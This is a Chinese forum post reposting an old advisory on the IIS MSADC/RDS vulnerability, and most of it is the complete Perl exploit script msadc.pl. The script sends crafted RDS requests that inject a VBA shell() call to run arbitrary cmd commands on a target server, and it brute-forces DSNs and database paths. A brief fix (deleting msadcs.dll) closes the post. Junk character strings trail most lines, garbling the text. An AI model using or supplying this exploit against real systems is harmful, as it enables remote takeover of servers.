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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _xLHrT!y  
TH&qX  
涉及程序: Y+qQIMZ  
Microsoft NT server tW;:-  
s[Ur~Wvn  
描述: 1J? dK|% b  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "EV!>^Z  
dC<LDxlv  
详细: gf+d!c(/  
如果你没有时间读详细内容的话,就删除: iL7VFo:Q  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bOI3^T  
有关的安全问题就没有了。 J/A[45OD  
n$(p-po  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _3Cn{{ A0  
U,Mx@KdV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 D?M!ra  
关于利用ODBC远程漏洞的描述,请参看: xE-7P|2  
?U7) XvQ  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \VSATL:]  
>b.^kc  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6/ `.(fL1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp j!z-)p8hy  
ai*b:Q  
这里不再论述。 Z"s|]K "  
_e!F~V.  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: i5F:r|  
*xR 2)u  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset m%#`y\]I  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! A-ZmG7xk  
+([!A6:  
yGp z,X4x  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y]e>E  
=xianQ<lK  
#!perl M|i o4+sy  
# l =IeJh  
# MSADC/RDS 'usage' (aka exploit) script *V k ^f+5  
# 0D~ C 5}/4  
# by rain.forest.puppy tD$lNh^  
# 2-0$FQ@/  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +1 eCvt:,  
# beta test and find errors! +2C?9:bH  
JmpsQ,,  
use Socket; use Getopt::Std; Pgp {$ID  
getopts("e:vd:h:XR", \%args); V84*0&qOW  
Rb}KZ+o "Z  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; <a le$[  
gBk5wk_j|  
if (!defined $args{h} && !defined $args{R}) { sn{AwF%  
print qq~  Zt E##p  
Usage: msadc.pl -h <host> { -d <delay> -X -v } vf~`eT  
-h <host> = host you want to scan (ip or domain) u2(eaP8d  
-d <seconds> = delay between calls, default 1 second W}'WA  
-X = dump Index Server path table, if available ?nKF6 f  
-v = verbose tK%c@gGU9  
-e = external dictionary file for step 5 <EO<x D=:  
~2_lp^Y  
Or a -R will resume a command session $A<ESfrs  
AK u_~bTk  
~; exit;} )fU(AXSP  
kD.pzx EM  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 'b"TH^\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #Tp]^ n  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Cpx+qQt0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); m|svQ-/j  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} R,@g7p  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } %1:chvS  
'q%%m/,VPQ  
if (!defined $args{R}){ $ret = &has_msadc; Ps R>V)L  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Cef:tdk7  
#< CIFVH  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" BC\S/5~k  
. "cmd /c "; +1;'B4  
$in=<STDIN>; chomp $in; \.s`n2.w  
$command="cmd /c " . $in ; ,R wfp=*E  
gmSQcN)  
if (defined $args{R}) {&load; exit;} 0NO1M)HQv  
RM*f|j  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 0&fl#]oCE  
&try_btcustmr; +iF 1sC_  
#^mqQRpgq  
print "\nStep 2: Trying to make our own DSN..."; ^~ L}<]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?Hy+'sq[  
rlznwfr7+  
print "\nStep 3: Trying known DSNs..."; QYThW7S  
&known_dsn; 2>hz_o{5',  
2RppP?M!  
print "\nStep 4: Trying known .mdbs..."; V{Q kN7-  
&known_mdb; NyPd5m:  
%c6E-4b  
if (defined $args{e}){ "<l<& qp  
print "\nStep 5: Trying dictionary of DSN names..."; G5'_a$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } W."f 8ow  
-)w]a{F  
print "Sorry Charley...maybe next time?\n"; .`C V^\  
exit; 8V5a%2eV  
;6DnId2Zh  
############################################################################## \3PE+$  
cBEHH4U  
sub sendraw { # ripped and modded from whisker t;#Gmo  
sleep($delay); # it's a DoS on the server! At least on mine... zX5G;,_  
my ($pstr)=@_; fnH3 CE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #o[\Dwu  
die("Socket problems\n"); Dl;d33  
if(connect(S,pack "SnA4x8",2,80,$target)){ Rrqg[F+  
select(S); $|=1; y @apJ;_R-  
print $pstr; my @in=<S>; v:d9o.h  
select(STDOUT); close(S); Q~ 0Dfo w?  
return @in; 68 x}w Ae  
} else { die("Can't connect...\n"); }} MTmO>V&O  
D[>W{g $  
############################################################################## ^9ng)  
2@MN]Low  
sub make_header { # make the HTTP request Jgi Iq  
my $msadc=<<EOT (@ ]tG?I=  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H=. K  
User-Agent: ACTIVEDATA +8^_D?*\n  
Host: $ip ^g!B.ll`  
Content-Length: $clen vg^Myn   
Connection: Keep-Alive O{n<WQd{CY  
5N1 K~".  
ADCClientVersion:01.06 =s[ &;B`s  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Gc;B[/:  
9e5gy  
--!ADM!ROX!YOUR!WORLD! (fXq<GXAn/  
Content-Type: application/x-varg l \}25 e  
Content-Length: $reqlen GNghB(  
.[f;(WR  
EOT #%cR%Z  
; $msadc=~s/\n/\r\n/g; jzrt7p*k}  
return $msadc;} 6An{3 "  
 `$-lL"  
############################################################################## dt ~iw  
]P*!'iYN(  
sub make_req { # make the RDS request 97x%w]kV  
my ($switch, $p1, $p2)=@_; my,x9UPs  
my $req=""; my $t1, $t2, $query, $dsn; j-* TXog  
c$#GM57V  
if ($switch==1){ # this is the btcustmr.mdb query .3g&9WvN!Z  
$query="Select * from Customers where City=" . make_shell(); 2X_>vIlEm  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 4 =Fg!Eu<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} H7jTQW0rp5  
cV]y=q 6  
elsif ($switch==2){ # this is general make table query 7!- \L7<  
$query="create table AZZ (B int, C varchar(10))"; $- w5o`e  
$dsn="$p1";} eU~?p|Np  
ve%l({  
elsif ($switch==3){ # this is general exploit table query S OI)/u  
$query="select * from AZZ where C=" . make_shell(); &"AQ; %&N  
$dsn="$p1";} L<)Z>@fR  
0P9Wy!f7  
elsif ($switch==4){ # attempt to hork file info from index server "/y|VTV"  
$query="select path from scope()"; AM?Ec1S #a  
$dsn="Provider=MSIDXS;";} 5bBCpNa  
DR{] sG  
elsif ($switch==5){ # bad query 6S_y%8Fv&[  
$query="select"; 0UD"^zgY  
$dsn="$p1";} 1"$R 3@s;  
)KE_t^$  
$t1= make_unicode($query); M c@GH  
$t2= make_unicode($dsn); )l{A{f6O  
$req = "\x02\x00\x03\x00"; YOKR//|3  
$req.= "\x08\x00" . pack ("S1", length($t1)); N ^f}ui i  
$req.= "\x00\x00" . $t1 ; uRGB/ju^E  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,TJ/3_lH  
$req.= "\x00\x00" . $t2 ; =kO@Gk?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; =phiD&=  
return $req;} `5<1EGJsD  
HPTHF  
############################################################################## "GLYyC  
\^m.dIPdO  
sub make_shell { # this makes the shell() statement LJ l1v  
return "'|shell(\"$command\")|'";} =~$U^IsWA  
/h-6CR Ka  
############################################################################## tGqQJT#mr7  
(uT^Nn9L=  
sub make_unicode { # quick little function to convert to unicode 4ac1m,Jlt  
my ($in)=@_; my $out; FpC~1Nau  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } k -]xSKG  
return $out;} zf7rF}  
[,nfAY  
############################################################################## %/md"S  
kdd7X bw-  
sub rdo_success { # checks for RDO return success (this is kludge) kDg{ >mf  
my (@in) = @_; my $base=content_start(@in); wXcMt>3  
if($in[$base]=~/multipart\/mixed/){ (NM6micc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <>&89E%j'  
return 0;} c&A]pLn+x  
z0;9SZ9  
############################################################################## 4)E|&)-fu8  
d v[\.T`LY  
sub make_dsn { # this makes a DSN for us uegb;m  
my @drives=("c","d","e","f"); :Lc3a$qtx5  
print "\nMaking DSN: "; L77EbP`P  
foreach $drive (@drives) { v0u\xX[H;  
print "$drive: "; y\@SC\jk|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . < %/:w/  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" :SQ LfOQ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); L-MiaKcL  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; pr)K{~m]{<  
return 0 if $2 eq "404"; # not found/doesn't exist #a.\P.{L  
if($2 eq "200") { Kf&r21h  
foreach $line (@results) { S8vx[<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} F[(6*/46x  
} return 0;} BM.-X7)  
Q+HZ?V(  
############################################################################## 1=ip ,D  
sD.6"w7}  
sub verify_exists { ?{n>EvLY  
my ($page)=@_; wYa0hNd  
my @results=sendraw("GET $page HTTP/1.0\n\n"); QWKs[yfdo  
return $results[0];} )I?RMR  
{QW-g  
############################################################################## #,)P N @P  
3^'#ny?l  
sub try_btcustmr { GU5W|bS  
my @drives=("c","d","e","f"); *|sxa#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ujow?$&  
9ec0^T  
foreach $dir (@dirs) { E+:.IuXW$  
print "$dir -> "; # fun status so you can see progress G~O" /WM  
foreach $drive (@drives) { 2[XltjO  
print "$drive: "; # ditto 0&f\7z  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~DK F%}E  
$reqlenlen=length( "$reqlen" ); }]tFz}E\  
$clen= 206 + $reqlenlen + $reqlen; l~4_s/  
|z]aa  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |}%(6<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} v?FhG b~1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Euqjxz  
`~0P[>|+  
############################################################################## zU=YNrn  
zLo;.X[Y  
sub odbc_error { KxGKA  
my (@in)=@_; my $base; |x*{fXdMhr  
my $base = content_start(@in); nD(w @c?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this TS/Cp{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~@[(U!G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9=H}yiJz  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; r+SEw ;  
return $in[$base+4].$in[$base+5].$in[$base+6];} 'n>EEQyp'  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; d\\r_ bGW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ck:#1-t8{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} OuMco+C  
>7"$}5d  
############################################################################## "^Y6ctw  
}7-7t{G  
sub verbose { 7&=-a|k~  
my ($in)=@_; p| Vmdnb  
return if !$verbose; ;HR 6X  
print STDOUT "\n$in\n";} VjC*(6<Gj  
te4F"SEf  
############################################################################## /A0 [_  
h=!M6yap<  
sub save { : x>I- 3G  
my ($p1, $p2, $p3, $p4)=@_; LG"c8Vv&)~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sg+ZQDF{x  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; z|Hy>|+  
close OUT;} m*\B2\2gJ  
f2`P8$U)R  
############################################################################## B{[f}h.n  
R|nEd/' <  
sub load { ~?2rGE  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]jZiW1C*a  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); (zjz]@qJ  
@p=<IN>; close(IN); bELIRM9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 71JM [2  
$target= inet_aton($ip) || die("inet_aton problems"); )3BR[*u*  
print "Resuming to $ip ..."; =X)Q7u".7  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ,Le&I9*%  
if($p[1]==1) { Y;'VosTD  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F_ ,L 2J  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; (Nm}3p  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t|go5DXz4  
if (rdo_success(@results)){print "Success!\n";} AD~~e% s=  
else { print "failed\n"; verbose(odbc_error(@results));}} 5{8x*PSl  
elsif ($p[1]==3){ pQk=x T  
if(run_query("$p[3]")){ MF f05\aDu  
print "Success!\n";} else { print "failed\n"; }} cWgbd^J  
elsif ($p[1]==4){ unCt4uX^  
if(run_query($drvst . "$p[3]")){ Vf"O/o}hq,  
print "Success!\n"; } else { print "failed\n"; }} x{=[w`  
exit;} ERUs0na]  
z0\;m{TH  
############################################################################## nYI/&B{p  
UOn!Y@  
sub create_table { 7(yXsVq  
my ($in)=@_; `Ev A\f  
$reqlen=length( make_req(2,$in,"") ) - 28; Uuwq7oFub  
$reqlenlen=length( "$reqlen" ); +vSCR (n  
$clen= 206 + $reqlenlen + $reqlen; 6{b%Jfo  
my @results=sendraw(make_header() . make_req(2,$in,"")); %KbBH:z05  
return 1 if rdo_success(@results); t-.2 +6"\  
my $temp= odbc_error(@results); verbose($temp); dE 3i=  
return 1 if $temp=~/Table 'AZZ' already exists/; I;`Ko_i  
return 0;} 04I6 -}6  
~AEqfIx*^&  
############################################################################## L4\SB O  
&&]"Y!r -  
sub known_dsn { =-OCM*5~S  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,ma Aw}=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "[%;B0J  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", uAW*5 `[  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); u5u0*c  
B, QC -Tn  
foreach $dSn (@dsns) { ^Nd|+}  
print "."; LFk5rv'sM0  
next if (!is_access("DSN=$dSn")); kA7~Yu5|  
if(create_table("DSN=$dSn")){ l-DGy#h+z  
print "$dSn successful\n"; 2(+RIu0d  
if(run_query("DSN=$dSn")){ m1^dT_7Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *%ed;>6:Q  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  :pA=V  
g_rA_~dh  
############################################################################## e8~62O^  
9f@#SB_H  
sub is_access { 30sC4}   
my ($in)=@_; fK)ZJ_?w,@  
$reqlen=length( make_req(5,$in,"") ) - 28; y8<lp+  
$reqlenlen=length( "$reqlen" ); S(g<<Te  
$clen= 206 + $reqlenlen + $reqlen; "i!2=A8k  
my @results=sendraw(make_header() . make_req(5,$in,"")); &LCUoTzj  
my $temp= odbc_error(@results); u#zP>!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); %f_)<NP9=  
return 0;} O0K@M  
H]% mP|  
############################################################################## ?c|`R1D  
lU&`r:1>_  
sub run_query { "@c';".|  
my ($in)=@_; gt2>nTJz.Z  
$reqlen=length( make_req(3,$in,"") ) - 28; N}8HK^n*  
$reqlenlen=length( "$reqlen" ); "Cb.cO$i;  
$clen= 206 + $reqlenlen + $reqlen; syWv'Y[k?  
my @results=sendraw(make_header() . make_req(3,$in,"")); ;a!h.8UJPI  
return 1 if rdo_success(@results); jyY^iQ.2  
my $temp= odbc_error(@results); verbose($temp); $Nt=gSWw5  
return 0;} #Qtg\X  
'_TJ"lOZ  
############################################################################## vSyi}5D  
NPB,q& Th  
sub known_mdb { beN>5coP%A  
my @drives=("c","d","e","f","g"); "6`)vgI~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wu&|~@_s@  
my $dir, $drive, $mdb; C:tSCNH[  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [I+)Ak5  
+WV_`Rx#  
# this is sparse, because I don't know of many Ux%\Y.PPI  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ^'C,WZt  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", o+if%3  
"\\system32\\certmdb.mdb", 4e(9@OLP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;qMnO_ E  
C*W.9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9sfB+]}h  
"\\cfusion\\cfapps\\forums\\forums_.mdb", \dp9@y[^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", yZj}EBa  
"\\cfusion\\cfapps\\security\\realm_.mdb", zJy 89ib'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", h+zkVRyA  
"\\cfusion\\database\\cfexamples.mdb", .J<qfQ  
"\\cfusion\\database\\cfsnippets.mdb", w]o:c(x@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^|F Vc48{  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", j{7ilo(i  
"\\cfusion\\brighttiger\\database\\cleam.mdb", )CwMR'LV  
"\\cfusion\\database\\smpolicy.mdb", r2E>sHw  
"\\cfusion\\database\cypress.mdb", 6*(h9!_T1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", vUo.BA#;.b  
"\\website\\cgi-win\\dbsample.mdb", v2Qc}o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", a.Rp#}f  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1,%#O;ya  
); #these are just ^H\-3/si*  
foreach $drive (@drives) { Dho[{xJ46  
foreach $dir (@dirs){ 3IJI5K_  
foreach $mdb (@sysmdbs) { T;4gcJPn"M  
print "."; bgzT3KZ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ '1kj:Np  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; :N+#4rtgUY  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5KC\1pe i  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; NU)`js  
} else { print "Something's borked. Use verbose next time\n"; }}}}} UuOLv;v  
6'No4[F 4n  
foreach $drive (@drives) { T ,O<LFv  
foreach $mdb (@mdbs) { !F7EAQn{(  
print "."; 9GtVI^]  
if(create_table($drv . $drive . $dir . $mdb)){ :C|>y4U&(s  
print "\n" . $drive . $dir . $mdb . " successful\n"; g'}`FvADi  
if(run_query($drv . $drive . $dir . $mdb)){ u]]5p[ |S  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [)J49  
} else { print "Something's borked. Use verbose next time\n"; }}}} Vlp*'2VO  
} [MQJ71(3  
[o[v"e\w  
############################################################################## v'bd.eqw  
Sf4h!ly  
sub hork_idx { ) v[Knp'  
print "\nAttempting to dump Index Server tables...\n"; sjkKaid  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 02# b:  
$reqlen=length( make_req(4,"","") ) - 28; FB =  
$reqlenlen=length( "$reqlen" ); ^qId]s  
$clen= 206 + $reqlenlen + $reqlen;  $D, wO  
my @results=sendraw2(make_header() . make_req(4,"","")); FkxhEat8  
if (rdo_success(@results)){ TReM8Vd  
my $max=@results; my $c; my %d; Z_^Kl76D  
for($c=19; $c<$max; $c++){ x3I%)@-Z  
$results[$c]=~s/\x00//g; iu6WGm R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;  Z@.ol Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }ygbgyLa  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; TgQ|T57  
$d{"$1$2"}="";} ,# jOf{L*  
foreach $c (keys %d){ print "$c\n"; } Y;> p)'z  
} else {print "Index server doesn't seem to be installed.\n"; }} g]@R'2:1  
Cs1%g  
############################################################################## Nz>E#.++  
iM\ Z J6  
sub dsn_dict { Y9H *S*n  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;qVEI/  
while(<IN>){ >;'1k'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;@ll  
next if (!is_access("DSN=$dSn")); m)[wZP*e  
if(create_table("DSN=$dSn")){ h@>rjeY@  
print "$dSn successful\n"; 6ImV5^l  
if(run_query("DSN=$dSn")){ &;@b&p+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X!M fJ^)q  
print "Something's borked. Use verbose next time\n";}}} Xv5Ev@T  
print "\n"; close(IN);} Y(I*%=:$  
|H+k?C-w  
############################################################################## dV2b)p4J  
EhP&L?EL  
sub sendraw2 { # ripped and modded from whisker Bn#HJ17/#  
sleep($delay); # it's a DoS on the server! At least on mine... ]N(zom_0d  
my ($pstr)=@_; Dpp52UnT E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ng;b!S  
die("Socket problems\n"); ;cm{4%=Iqe  
if(connect(S,pack "SnA4x8",2,80,$target)){ p3A-WK|NX  
print "Connected. Getting data"; [vjkU7;7A  
open(OUT,">raw.out"); my @in; ]-s`#  
select(S); $|=1; print $pstr; _9O }d  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} i2ml[;*,N  
close(OUT); select(STDOUT); close(S); return @in; RJ@e5A6_  
} else { die("Can't connect...\n"); }} :J4C'N  
)r|zi Z{F  
############################################################################## #:\+7mCF  
J*lYH]s  
sub content_start { # this will take in the server headers MTITIecw=  
my (@in)=@_; my $c; VGDEP!)-8  
for ($c=1;$c<500;$c++) { z5*O@_r+.b  
if($in[$c] =~/^\x0d\x0a/){ D16;6K'{  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } e~ 78'UH  
else { return $c+1; }}} n%ArA])_&  
return -1;} # it should never get here actually tSXjp  
_Fh0^O@  
############################################################################## <T_Nlar^^  
_8b>r1$  
sub funky { k}0  
my (@in)=@_; my $error=odbc_error(@in); ={i&F  
if($error=~/ADO could not find the specified provider/){ +$mskj0s  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; HG3>RcB  
exit;} qP^0($  
if($error=~/A Handler is required/){ @ H`QLm  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'a{5}8+8  
exit;} K?OX  
if($error=~/specified Handler has denied Access/){ 1yRd10  
print "\nServer has custom handler filters (they most likely are patched)\n"; l;VGJMPi  
exit;}} (b 2^d  
q}A3"$-F  
############################################################################## +q=jB-eIx  
S~(VcC$K  
sub has_msadc { -JO46 #m  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); o(SJuZC/U  
my $base=content_start(@results); !RUo:b+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \ -iUuHP  
return 0;} cp?P@-  
z?_}+  
######################## 0_zSQn9c  
AA& dZjz  
!/(}meZj  
解决方案: TtjSLkF  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll eWk2YP!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Y(yJ|y&  
__n"DLW  
拿出来充数 哈哈
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